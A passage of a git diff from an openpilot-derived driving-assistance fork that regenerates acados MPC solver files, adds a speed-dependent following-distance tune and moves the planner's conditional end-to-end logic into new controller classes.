"eps_sufficient_descent": 0.0001, + "exact_hess_constr": 1, + "exact_hess_cost": 1, + "exact_hess_dyn": 1, + "ext_cost_num_hess": 0, + "full_step_dual": 0, + "globalization": "FIXED_STEP", + "globalization_use_SOC": 0, + "hessian_approx": "GAUSS_NEWTON", + "hpipm_mode": "BALANCE", + "initialize_t_slacks": 0, + "integrator_type": "ERK", + "levenberg_marquardt": 0.0, + "line_search_use_sufficient_descent": 0, + "model_external_shared_lib_dir": null, + "model_external_shared_lib_name": null, + "nlp_solver_max_iter": 100, + "nlp_solver_step_length": 1.0, + "nlp_solver_tol_comp": 1e-06, + "nlp_solver_tol_eq": 1e-06, + "nlp_solver_tol_ineq": 1e-06, + "nlp_solver_tol_stat": 1e-06, + "nlp_solver_type": "SQP_RTI", + "print_level": 0, + "qp_solver": "PARTIAL_CONDENSING_HPIPM", + "qp_solver_cond_N": 1, + "qp_solver_iter_max": 10, + "qp_solver_tol_comp": 0.001, + "qp_solver_tol_eq": 0.001, + "qp_solver_tol_ineq": 0.001, + "qp_solver_tol_stat": 0.001, + "qp_solver_warm_start": 0, + "regularize_method": null, + "sim_method_jac_reuse": [ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + ], + "sim_method_newton_iter": 3, + "sim_method_num_stages": [ + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4 + ], + "sim_method_num_steps": [ + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1 + ], + "tf": 10.0, + "time_steps": [ + 0.06944444444444445, + 0.20833333333333334, + 0.3472222222222222, + 0.48611111111111116, + 0.6250000000000002, + 0.7638888888888886, + 0.9027777777777786, + 1.041666666666666, + 1.1805555555555554, + 1.3194444444444455, + 1.4583333333333313, + 1.5972222222222232 + ] + } +} \ No newline at end of file diff --git a/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/Makefile b/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/Makefile index d078e6c5f..dab187171 100644 --- a/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/Makefile +++ b/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/Makefile @@ -82,8 +82,8 @@ OBJ+= $(OCP_OBJ) EXTERNAL_DIR= EXTERNAL_LIB= -INCLUDE_PATH = /data/openpilot/third_party/acados/include/acados/include -LIB_PATH = /data/openpilot/third_party/acados/include/acados/lib +INCLUDE_PATH = /data/openpilot/third_party/acados/include +LIB_PATH = /data/openpilot/third_party/acados/lib # preprocessor flags for make's implicit rules CPPFLAGS+= -I$(INCLUDE_PATH) diff --git a/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/acados_sim_solver_long.h b/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/acados_sim_solver_long.h new file mode 100644 index 000000000..c2f7a3771 --- /dev/null +++ b/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/acados_sim_solver_long.h @@ -0,0 +1,103 @@ +/* + * Copyright 2019 Gianluca Frison, Dimitris Kouzoupis, Robin Verschueren, + * Andrea Zanelli, Niels van Duijkeren, Jonathan Frey, Tommaso Sartor, + * Branimir Novoselnik, Rien Quirynen, Rezart Qelibari, Dang Doan, + * Jonas Koenemann, Yutao Chen, Tobias Schöls, Jonas Schlagenhauf, Moritz Diehl + * + * This file is part of acados. + * + * The 2-Clause BSD License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE.; + */ + +#ifndef ACADOS_SIM_long_H_ +#define ACADOS_SIM_long_H_ + +#include "acados_c/sim_interface.h" +#include "acados_c/external_function_interface.h" + +#define LONG_NX 3 +#define LONG_NZ 0 +#define LONG_NU 1 +#define LONG_NP 7 + +#ifdef __cplusplus +extern "C" { +#endif + + +// ** capsule for solver data ** +typedef struct sim_solver_capsule +{ + // acados objects + sim_in *acados_sim_in; + sim_out *acados_sim_out; + sim_solver *acados_sim_solver; + sim_opts *acados_sim_opts; + sim_config *acados_sim_config; + void *acados_sim_dims; + + /* external functions */ + // ERK + external_function_param_casadi * sim_forw_vde_casadi; + external_function_param_casadi * sim_expl_ode_fun_casadi; + external_function_param_casadi * sim_expl_ode_hess; + + // IRK + external_function_param_casadi * sim_impl_dae_fun; + external_function_param_casadi * sim_impl_dae_fun_jac_x_xdot_z; + external_function_param_casadi * sim_impl_dae_jac_x_xdot_u_z; + external_function_param_casadi * sim_impl_dae_hess; + + // GNSF + external_function_param_casadi * sim_gnsf_phi_fun; + external_function_param_casadi * sim_gnsf_phi_fun_jac_y; + external_function_param_casadi * sim_gnsf_phi_jac_y_uhat; + external_function_param_casadi * sim_gnsf_f_lo_jac_x1_x1dot_u_z; + external_function_param_casadi * sim_gnsf_get_matrices_fun; + +} sim_solver_capsule; + + +ACADOS_SYMBOL_EXPORT int long_acados_sim_create(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT int long_acados_sim_solve(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT int long_acados_sim_free(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT int long_acados_sim_update_params(sim_solver_capsule *capsule, double *value, int np); + +ACADOS_SYMBOL_EXPORT sim_config * long_acados_get_sim_config(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_in * long_acados_get_sim_in(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_out * long_acados_get_sim_out(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT void * long_acados_get_sim_dims(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_opts * long_acados_get_sim_opts(sim_solver_capsule *capsule); +ACADOS_SYMBOL_EXPORT sim_solver * long_acados_get_sim_solver(sim_solver_capsule *capsule); + + +ACADOS_SYMBOL_EXPORT sim_solver_capsule * long_acados_sim_solver_create_capsule(void); +ACADOS_SYMBOL_EXPORT int long_acados_sim_solver_free_capsule(sim_solver_capsule *capsule); + +#ifdef __cplusplus +} +#endif + +#endif // ACADOS_SIM_long_H_ diff --git a/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/acados_solver_long.h b/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/acados_solver_long.h index ef2522a8f..afc630825 100644 --- a/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/acados_solver_long.h +++ b/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/acados_solver_long.h @@ -42,7 +42,7 @@ #define LONG_NX 3 #define LONG_NZ 0 #define LONG_NU 1 -#define LONG_NP 7 +#define LONG_NP 6 #define LONG_NBX 0 #define LONG_NBX0 3 #define LONG_NBU 0 diff --git a/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/libacados_ocp_solver_long.so b/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/libacados_ocp_solver_long.so index b510235a3..fa9889641 100755 Binary files a/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/libacados_ocp_solver_long.so and b/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/libacados_ocp_solver_long.so differ diff --git a/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/make_sfun_long.m b/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/make_sfun_long.m new file mode 100644 index 000000000..680e4fd52 --- /dev/null +++ b/selfdrive/controls/lib/longitudinal_mpc_lib/c_generated_code/make_sfun_long.m @@ -0,0 +1,128 @@ +% +% Copyright 2019 Gianluca Frison, Dimitris Kouzoupis, Robin Verschueren, +% Andrea Zanelli, Niels van Duijkeren, Jonathan Frey, Tommaso Sartor, +% Branimir Novoselnik, Rien Quirynen, Rezart Qelibari, Dang Doan, +% Jonas Koenemann, Yutao Chen, Tobias Schöls, Jonas Schlagenhauf, Moritz Diehl +% +% This file is part of acados. +% +% The 2-Clause BSD License +% +% Redistribution and use in source and binary forms, with or without +% modification, are permitted provided that the following conditions are met: +% +% 1. Redistributions of source code must retain the above copyright notice, +% this list of conditions and the following disclaimer. +% +% 2. Redistributions in binary form must reproduce the above copyright notice, +% this list of conditions and the following disclaimer in the documentation +% and/or other materials provided with the distribution. +% +% THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +% AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +% IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +% ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +% LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +% CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +% SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +% INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +% CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +% ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +% POSSIBILITY OF SUCH DAMAGE.; +% + +SOURCES = { ... + 'long_model/long_expl_ode_fun.c', ... + 'long_model/long_expl_vde_forw.c',... + 'long_cost/long_cost_y_0_fun.c',... + 'long_cost/long_cost_y_0_fun_jac_ut_xt.c',... + 'long_cost/long_cost_y_0_hess.c',... + 'long_cost/long_cost_y_fun.c',... + 'long_cost/long_cost_y_fun_jac_ut_xt.c',... + 'long_cost/long_cost_y_hess.c',... + 'long_cost/long_cost_y_e_fun.c',... + 'long_cost/long_cost_y_e_fun_jac_ut_xt.c',... + 'long_cost/long_cost_y_e_hess.c',... + 'long_constraints/long_constr_h_fun.c', ... + 'long_constraints/long_constr_h_fun_jac_uxt_zt_hess.c', ... + 'long_constraints/long_constr_h_fun_jac_uxt_zt.c', ... + 'acados_solver_sfunction_long.c', ... + 'acados_solver_long.c' + }; + +INC_PATH = '/data/openpilot/third_party/acados/include'; + +INCS = {['-I', fullfile(INC_PATH, 'blasfeo', 'include')], ... + ['-I', fullfile(INC_PATH, 'hpipm', 'include')], ... + ['-I', fullfile(INC_PATH, 'acados')], ... + ['-I', fullfile(INC_PATH)]}; + + + +CFLAGS = 'CFLAGS=$CFLAGS'; +LDFLAGS = 'LDFLAGS=$LDFLAGS'; +COMPFLAGS = 'COMPFLAGS=$COMPFLAGS'; +COMPDEFINES = 'COMPDEFINES=$COMPDEFINES'; + + + +LIB_PATH = ['-L', fullfile('/data/openpilot/third_party/acados/lib')]; + +LIBS = {'-lacados', '-lhpipm', '-lblasfeo'}; + +% acados linking libraries and flags + + +mex('-v', '-O', CFLAGS, LDFLAGS, COMPFLAGS, COMPDEFINES, INCS{:}, ... + LIB_PATH, LIBS{:}, SOURCES{:}, ... + '-output', 'acados_solver_sfunction_long' ); + +fprintf( [ '\n\nSuccessfully created sfunction:\nacados_solver_sfunction_long', '.', ... + eval('mexext')] ); + + +%% print note on usage of s-function +fprintf('\n\nNote: Usage of Sfunction is as follows:\n') +input_note = 'Inputs are:\n'; +i_in = 1; +input_note = strcat(input_note, num2str(i_in), ') lbx_0 - lower bound on x for stage 0,',... + ' size [3]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') ubx_0 - upper bound on x for stage 0,',... + ' size [3]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') parameters - concatenated for all shooting nodes 0 to N+1,',... + ' size [91]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') y_ref_0, size [6]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') y_ref - concatenated for shooting nodes 1 to N-1,',... + ' size [66]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') y_ref_e, size [5]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') lh, size [4]\n '); +i_in = i_in + 1; +input_note = strcat(input_note, num2str(i_in), ') uh, size [4]\n '); +i_in = i_in + 1; + +fprintf(input_note) + +disp(' ') + +output_note = 'Outputs are:\n'; +i_out = 0; +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') u0, control input at node 0, size [1]\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') acados solver status (0 = SUCCESS)\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') KKT residual\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') x1, state at node 1\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') CPU time\n '); +i_out = i_out + 1; +output_note = strcat(output_note, num2str(i_out), ') SQP iterations\n '); + +fprintf(output_note) diff --git a/selfdrive/controls/lib/longitudinal_mpc_lib/long_mpc.py b/selfdrive/controls/lib/longitudinal_mpc_lib/long_mpc.py index 7cac8f534..28627ed8b 100644 --- a/selfdrive/controls/lib/longitudinal_mpc_lib/long_mpc.py +++ b/selfdrive/controls/lib/longitudinal_mpc_lib/long_mpc.py @@ -7,7 +7,7 @@ from common.numpy_fast import clip from system.swaglog import cloudlog # WARNING: imports outside of constants will not trigger a rebuild from selfdrive.hybrid_modeld.constants import index_function -from selfdrive.controls.lib.radar_helpers import _LEAD_ACCEL_TAU +from selfdrive.controls.radard import _LEAD_ACCEL_TAU if __name__ == '__main__': # generating code from third_party.acados.acados_template import AcadosModel, AcadosOcp, AcadosOcpSolver @@ -25,7 +25,7 @@ SOURCES = ['lead0', 'lead1', 'cruise', 'e2e'] X_DIM = 3 U_DIM = 1 -PARAM_DIM = 7 +PARAM_DIM = 6 COST_E_DIM = 5 COST_DIM = COST_E_DIM + 1 CONSTR_DIM = 4 @@ -78,14 +78,28 @@ def get_T_FOLLOW(personality=log.LongitudinalPersonality.standard): else: raise NotImplementedError("Longitudinal personality not supported") +def get_dynamic_follow(v_ego, personality=log.LongitudinalPersonality.standard): + if personality==log.LongitudinalPersonality.relaxed: + x_vel = [0, 3.05, 3.61, 4.16, 7.14, 11.11] + y_dist = [1.75, 1.75, 1.77, 1.75, 1.8, 1.8] + elif personality==log.LongitudinalPersonality.standard: + x_vel = [0, 3.05, 3.61, 4.16, 7.14, 11.11] + y_dist = [1.5, 1.5, 1.51, 1.5, 1.5, 1.45] + elif personality==log.LongitudinalPersonality.aggressive: + x_vel = [0, 3.05, 3.61, 4.16, 7.14, 11.11] + y_dist = [1.12, 1.12, 1.13, 1.12, 1.22, 1.22] + else: + raise NotImplementedError("Dynamic Follow personality not supported") + return np.interp(v_ego, x_vel, y_dist) + def get_stopped_equivalence_factor(v_lead): return (v_lead**2) / (2 * COMFORT_BRAKE) -def get_safe_obstacle_distance(v_ego, t_follow, stop_distance): - return (v_ego**2) / (2 * COMFORT_BRAKE) + t_follow * v_ego + stop_distance +def get_safe_obstacle_distance(v_ego, t_follow): + return (v_ego**2) / (2 * COMFORT_BRAKE) + t_follow * v_ego + STOP_DISTANCE -def desired_follow_distance(v_ego, v_lead, t_follow=get_T_FOLLOW(), stop_distance=STOP_DISTANCE): - return get_safe_obstacle_distance(v_ego, t_follow, stop_distance) - get_stopped_equivalence_factor(v_lead) +def desired_follow_distance(v_ego, v_lead, t_follow=get_T_FOLLOW()): + return get_safe_obstacle_distance(v_ego, t_follow) - get_stopped_equivalence_factor(v_lead) def gen_long_model(): @@ -115,8 +129,7 @@ def gen_long_model(): prev_a = SX.sym('prev_a') lead_t_follow = SX.sym('lead_t_follow') lead_danger_factor = SX.sym('lead_danger_factor') - stop_distance = SX.sym('stop_distance') - model.p = vertcat(a_min, a_max, x_obstacle, prev_a, lead_t_follow, lead_danger_factor, stop_distance) + model.p = vertcat(a_min, a_max, x_obstacle, prev_a, lead_t_follow, lead_danger_factor) # dynamics model f_expl = vertcat(v_ego, a_ego, j_ego) @@ -152,12 +165,11 @@ def gen_long_ocp(): prev_a = ocp.model.p[3] lead_t_follow = ocp.model.p[4] lead_danger_factor = ocp.model.p[5] - stop_distance = ocp.model.p[6] ocp.cost.yref = np.zeros((COST_DIM, )) ocp.cost.yref_e = np.zeros((COST_E_DIM, )) - desired_dist_comfort = get_safe_obstacle_distance(v_ego, lead_t_follow, stop_distance) + desired_dist_comfort = get_safe_obstacle_distance(v_ego, lead_t_follow) # The main cost in normal operation is how close you are to the "desired" distance # from an obstacle at every timestep. This obstacle can be a lead car @@ -183,7 +195,8 @@ def gen_long_ocp(): x0 = np.zeros(X_DIM) ocp.constraints.x0 = x0 - ocp.parameter_values = np.array([-1.2, 1.2, 0.0, 0.0, get_T_FOLLOW(), LEAD_DANGER_FACTOR, STOP_DISTANCE]) + ocp.parameter_values = np.array([-1.2, 1.2, 0.0, 0.0, get_T_FOLLOW(), LEAD_DANGER_FACTOR]) + # We put all constraint cost weights to 0 and only set them at runtime cost_weights = np.zeros(CONSTR_DIM) @@ -225,7 +238,6 @@ class LongitudinalMpc: self.solver = AcadosOcpSolverCython(MODEL_NAME, ACADOS_SOLVER_TYPE, N) self.reset() self.source = SOURCES[2] - self.t_follow = get_T_FOLLOW() def reset(self): # self.solver = AcadosOcpSolverCython(MODEL_NAME, ACADOS_SOLVER_TYPE, N) @@ -331,9 +343,11 @@ class LongitudinalMpc: self.cruise_min_a = min_a self.max_a = max_a - def update(self, radarstate, v_cruise, x, v, a, j, personality=log.LongitudinalPersonality.standard, stop_distance=STOP_DISTANCE): - self.t_follow = get_T_FOLLOW(personality) + # def update(self, radarstate, v_cruise, x, v, a, j, personality=log.LongitudinalPersonality.standard): + def update(self, radarstate, v_cruise, x, v, a, j, personality=log.LongitudinalPersonality.standard, use_df_tune=False): + # t_follow = get_T_FOLLOW(personality) v_ego = self.x0[1] + t_follow = get_T_FOLLOW(personality) if not use_df_tune else get_dynamic_follow(v_ego, personality) self.status = radarstate.leadOne.status or radarstate.leadTwo.status lead_xv_0 = self.process_lead(radarstate.leadOne) @@ -359,7 +373,7 @@ class LongitudinalMpc: v_cruise_clipped = np.clip(v_cruise * np.ones(N+1), v_lower, v_upper) - cruise_obstacle = np.cumsum(T_DIFFS * v_cruise_clipped) + get_safe_obstacle_distance(v_cruise_clipped, self.t_follow, stop_distance) + cruise_obstacle = np.cumsum(T_DIFFS * v_cruise_clipped) + get_safe_obstacle_distance(v_cruise_clipped, t_follow) x_obstacles = np.column_stack([lead_0_obstacle, lead_1_obstacle, cruise_obstacle]) self.source = SOURCES[np.argmin(x_obstacles[0])] @@ -393,12 +407,11 @@ class LongitudinalMpc: self.params[:,2] = np.min(x_obstacles, axis=1) self.params[:,3] = np.copy(self.prev_a) - self.params[:,4] = self.t_follow - self.params[:,6] = stop_distance + self.params[:,4] = t_follow self.run() if (np.any(lead_xv_0[FCW_IDXS,0] - self.x_sol[FCW_IDXS,0] < CRASH_DISTANCE) and - radarstate.leadOne.modelProb > 0.9): + radarstate.leadOne.modelProb > 0.9): self.crash_cnt += 1 else: self.crash_cnt = 0 @@ -406,10 +419,10 @@ class LongitudinalMpc: # Check if it got within lead comfort range # TODO This should be done cleaner if self.mode == 'blended': - if any((lead_0_obstacle - get_safe_obstacle_distance(self.x_sol[:,1], self.t_follow, stop_distance))- self.x_sol[:,0] < 0.0): + if any((lead_0_obstacle - get_safe_obstacle_distance(self.x_sol[:,1], t_follow))- self.x_sol[:,0] < 0.0): self.source = 'lead0' - if any((lead_1_obstacle - get_safe_obstacle_distance(self.x_sol[:,1], self.t_follow, stop_distance))- self.x_sol[:,0] < 0.0) and \ - (lead_1_obstacle[0] - lead_0_obstacle[0]): + if any((lead_1_obstacle - get_safe_obstacle_distance(self.x_sol[:,1], t_follow))- self.x_sol[:,0] < 0.0) and \ + (lead_1_obstacle[0] - lead_0_obstacle[0]): self.source = 'lead1' def run(self): diff --git a/selfdrive/controls/lib/longitudinal_planner.py b/selfdrive/controls/lib/longitudinal_planner.py index 6365b4fa1..1e243236a 100755 --- a/selfdrive/controls/lib/longitudinal_planner.py +++ b/selfdrive/controls/lib/longitudinal_planner.py @@ -11,11 +11,13 @@ from common.filter_simple import FirstOrderFilter from common.realtime import DT_MDL from selfdrive.hybrid_modeld.constants import T_IDXS from selfdrive.controls.lib.longcontrol import LongCtrlState -from selfdrive.controls.lib.longitudinal_mpc_lib.long_mpc import LongitudinalMpc, MIN_ACCEL, MAX_ACCEL, STOP_DISTANCE +from selfdrive.controls.lib.longitudinal_mpc_lib.long_mpc import LongitudinalMpc, MIN_ACCEL, MAX_ACCEL from selfdrive.controls.lib.longitudinal_mpc_lib.long_mpc import T_IDXS as T_IDXS_MPC from selfdrive.controls.lib.drive_helpers import V_CRUISE_MAX, CONTROL_N, get_speed_error from system.swaglog import cloudlog from selfdrive.controls.lib.vision_turn_controller import VisionTurnController +from selfdrive.controls.lib.accel_controller import AccelController +from selfdrive.controls.lib.dynamic_endtoend_controller import DynamicEndtoEndController LON_MPC_STEP = 0.2 # first step is 0.2s A_CRUISE_MIN = -1.2 @@ -26,20 +28,6 @@ A_CRUISE_MAX_BP = [0., 10.0, 25., 40.] _A_TOTAL_MAX_V = [1.7, 3.2] _A_TOTAL_MAX_BP = [20., 40.] -# d-e2e, from legacy_modeldata.h -TRAJECTORY_SIZE = 33 - -_DP_E2E_LEAD_COUNT = 5 - -_DP_E2E_STOP_BP = [0., 10., 20., 30., 40., 50., 55.] -_DP_E2E_STOP_DIST = [10, 30., 50., 70., 80., 90., 120.] -_DP_E2E_STOP_COUNT = 3 - -_DP_E2E_SNG_COUNT = 3 -_DP_E2E_SNG_ACC_COUNT = 5 -_DP_E2E_SWAP_COUNT = 10 - -_DP_E2E_TF_COUNT = 5 def get_max_accel(v_ego): return interp(v_ego, A_CRUISE_MAX_BP, A_CRUISE_MAX_VALS) @@ -62,17 +50,11 @@ def limit_accel_in_turns(v_ego, angle_steers, a_target, CP): class LongitudinalPlanner: def __init__(self, CP, init_v=0.0, init_a=0.0): + # mapd + self.cruise_source = 'cruise' self.vision_turn_controller = VisionTurnController(CP) - # conditional e2e - self.dp_e2e_has_lead = False - self.dp_e2e_lead_last = False - self.dp_e2e_lead_count = 0 - self.dp_e2e_sng = False - self.dp_e2e_sng_count = 0 - self.dp_e2e_standstill_last = False - self.dp_e2e_swap_count = 0 - self.dp_e2e_stop_count = 0 - self.dp_e2e_tf_count = 0 + self.accel_controller = AccelController() + self.dynamic_endtoend_controller = DynamicEndtoEndController() self.CP = CP self.mpc = LongitudinalMpc() @@ -90,98 +72,15 @@ class LongitudinalPlanner: self.param_read_counter = 0 self.read_param() self.personality = log.LongitudinalPersonality.standard + self.dp_long_use_df_tune = False def read_param(self): - param_value = self.params.get('LongitudinalPersonality') - if param_value is not None: - self.personality = int(param_value) - else: + try: + self.personality = int(self.params.get('LongitudinalPersonality')) + self.dp_long_use_df_tune = self.params.get_bool('dp_long_use_df_tune') + except (ValueError, TypeError): self.personality = log.LongitudinalPersonality.standard - - def _set_dp_e2e_mode(self, mode, force=False): - reset_state = False - - if force: - self.dp_e2e_swap_count = 0 - if self.mpc.mode != mode: - reset_state = True - self.mpc.mode = mode - return reset_state - - # prevent switching in a short period of time. - if self.mpc.mode == mode: - self.dp_e2e_swap_count = 0 - else: - self.dp_e2e_swap_count += 1 - - if self.dp_e2e_swap_count >= _DP_E2E_SWAP_COUNT: - self.mpc.mode = mode - reset_state = True - - return reset_state - - def conditional_e2e(self, sm): - if not sm['controlsState'].experimentalMode: - return self._set_dp_e2e_mode('acc', True) - v_ego_kph = sm['carState'].vEgo * 3.6 - standstill = sm['carState'].standstill - - # lead detection with buffer - lead = sm['radarState'].leadOne - lead_dist = lead.dRel - - # make sure it see lead enough time - if lead.status != self.dp_e2e_lead_last: - self.dp_e2e_lead_count = 0 - else: - self.dp_e2e_lead_count += 1 - if self.dp_e2e_lead_count >= _DP_E2E_LEAD_COUNT: - self.dp_e2e_has_lead = lead.status - self.dp_e2e_lead_last = lead.status - - # when standstill, always e2e - if standstill: - self.dp_e2e_sng_count = 0 - self.dp_e2e_sng = False - return self._set_dp_e2e_mode('blended') - - if self.dp_e2e_standstill_last and not standstill: - self.dp_e2e_sng = True - - # when sng, we e2e for 0.5 secs - if self.dp_e2e_sng: - self.dp_e2e_sng_count += 1 - if self.dp_e2e_sng_count > _DP_E2E_SNG_COUNT: - if self.dp_e2e_sng_count > _DP_E2E_SNG_ACC_COUNT: - self.dp_e2e_sng = False - return self._set_dp_e2e_mode('acc', True) - return self._set_dp_e2e_mode('blended') - - # when we see a lead - # if sm['dragonConf'].dpE2EConditionalVoacc and self.dp_e2e_has_lead: - if self.CP.radarUnavailable and self.dp_e2e_has_lead: - # drive above conditional speed and lead is too close - if lead_dist <= v_ego_kph * self.mpc.t_follow * interp(v_ego_kph, [50., 60., 80., 85, 90.], [1.25, 1.20, 1.10, 1.05, 1.]) / 3.6: - self.dp_e2e_tf_count += 1 - else: - self.dp_e2e_tf_count = 0 - if self.dp_e2e_tf_count > _DP_E2E_TF_COUNT: - return self._set_dp_e2e_mode('blended', True) - - # stop sign detection - md = sm['modelV2'] - if abs(sm['carState'].steeringAngleDeg) <= 60 and len(md.orientation.x) == len(md.position.x) == TRAJECTORY_SIZE: - if md.position.x[TRAJECTORY_SIZE - 1] < interp(v_ego_kph, _DP_E2E_STOP_BP, _DP_E2E_STOP_DIST): - self.dp_e2e_stop_count += 1 - else: - self.dp_e2e_stop_count = 0 - else: - self.dp_e2e_stop_count = 0 - - if self.dp_e2e_stop_count >= _DP_E2E_STOP_COUNT: - return self._set_dp_e2e_mode('blended', True) - - return self._set_dp_e2e_mode('acc') + self.dp_long_use_df_tune = False @staticmethod def parse_model(model_msg, model_error): @@ -202,9 +101,17 @@ class LongitudinalPlanner: def update(self, sm): if self.param_read_counter % 50 == 0: self.read_param() + + if self.param_read_counter % 300 == 0: + self.accel_controller.set_profile(self.params.get("dp_long_accel_profile", encoding='utf-8')) + self.vision_turn_controller.set_enabled(self.params.get_bool("dp_mapd_vision_turn_control")) + self.dynamic_endtoend_controller.set_enabled(self.params.get_bool("dp_long_de2e")) + self.param_read_counter += 1 - # self.mpc.mode = 'blended' if sm['controlsState'].experimentalMode else 'acc' - dp_reset_state = self.conditional_e2e(sm) + if self.dynamic_endtoend_controller.is_enabled(): + self.mpc.mode = self.dynamic_endtoend_controller.get_mpc_mode(self.mpc.mode, self.CP.radarUnavailable, sm['carState'], sm['radarState'].leadOne, sm['modelV2']) + else: + self.mpc.mode = 'blended' if sm['controlsState'].experimentalMode else 'acc' v_ego = sm['carState'].vEgo v_cruise_kph = sm['controlsState'].vCruise @@ -227,7 +134,10 @@ class LongitudinalPlanner: accel_limits = [MIN_ACCEL, MAX_ACCEL] accel_limits_turns = [MIN_ACCEL, MAX_ACCEL] - if reset_state or dp_reset_state: + # dp - override accel using dp_long_accel_profile + accel_limits = self.accel_controller.get_accel_limits(v_ego, accel_limits) + + if reset_state: self.v_desired_filter.x = v_ego # Clip aEgo to cruise limits to prevent large accelerations when becoming active self.a_desired = clip(sm['carState'].aEgo, accel_limits[0], accel_limits[1]) @@ -237,27 +147,20 @@ class LongitudinalPlanner: # Compute model v_ego error self.v_model_error = get_speed_error(sm['modelV2'], v_ego) - # rick - vision turn controller from move-fast team - # https://github.com/move-fast/openpilot/blob/develop/selfdrive/controls/lib/vision_turn_controller.py - self.vision_turn_controller.update(not reset_state, self.v_desired_filter.x, self.a_desired, v_cruise, sm) - if self.vision_turn_controller.is_active: - if min(v_cruise, self.vision_turn_controller.v_turn) == self.vision_turn_controller.v_turn: - self.a_desired = self.vision_turn_controller.a_target - v_cruise = self.vision_turn_controller.v_turn - + # Get acceleration and active solutions for custom long mpc. + self.cruise_source, a_min_sol, v_cruise_sol = self.cruise_solutions(not reset_state, self.v_desired_filter.x, + self.a_desired, v_cruise, sm) if force_slow_decel: - v_cruise = 0.0 + v_cruise_sol = 0.0 # clip limits, cannot init MPC outside of bounds - accel_limits_turns[0] = min(accel_limits_turns[0], self.a_desired + 0.05) + accel_limits_turns[0] = min(accel_limits_turns[0], self.a_desired + 0.05, a_min_sol) accel_limits_turns[1] = max(accel_limits_turns[1], self.a_desired - 0.05) self.mpc.set_weights(prev_accel_constraint, personality=self.personality) self.mpc.set_accel_limits(accel_limits_turns[0], accel_limits_turns[1]) self.mpc.set_cur_state(self.v_desired_filter.x, 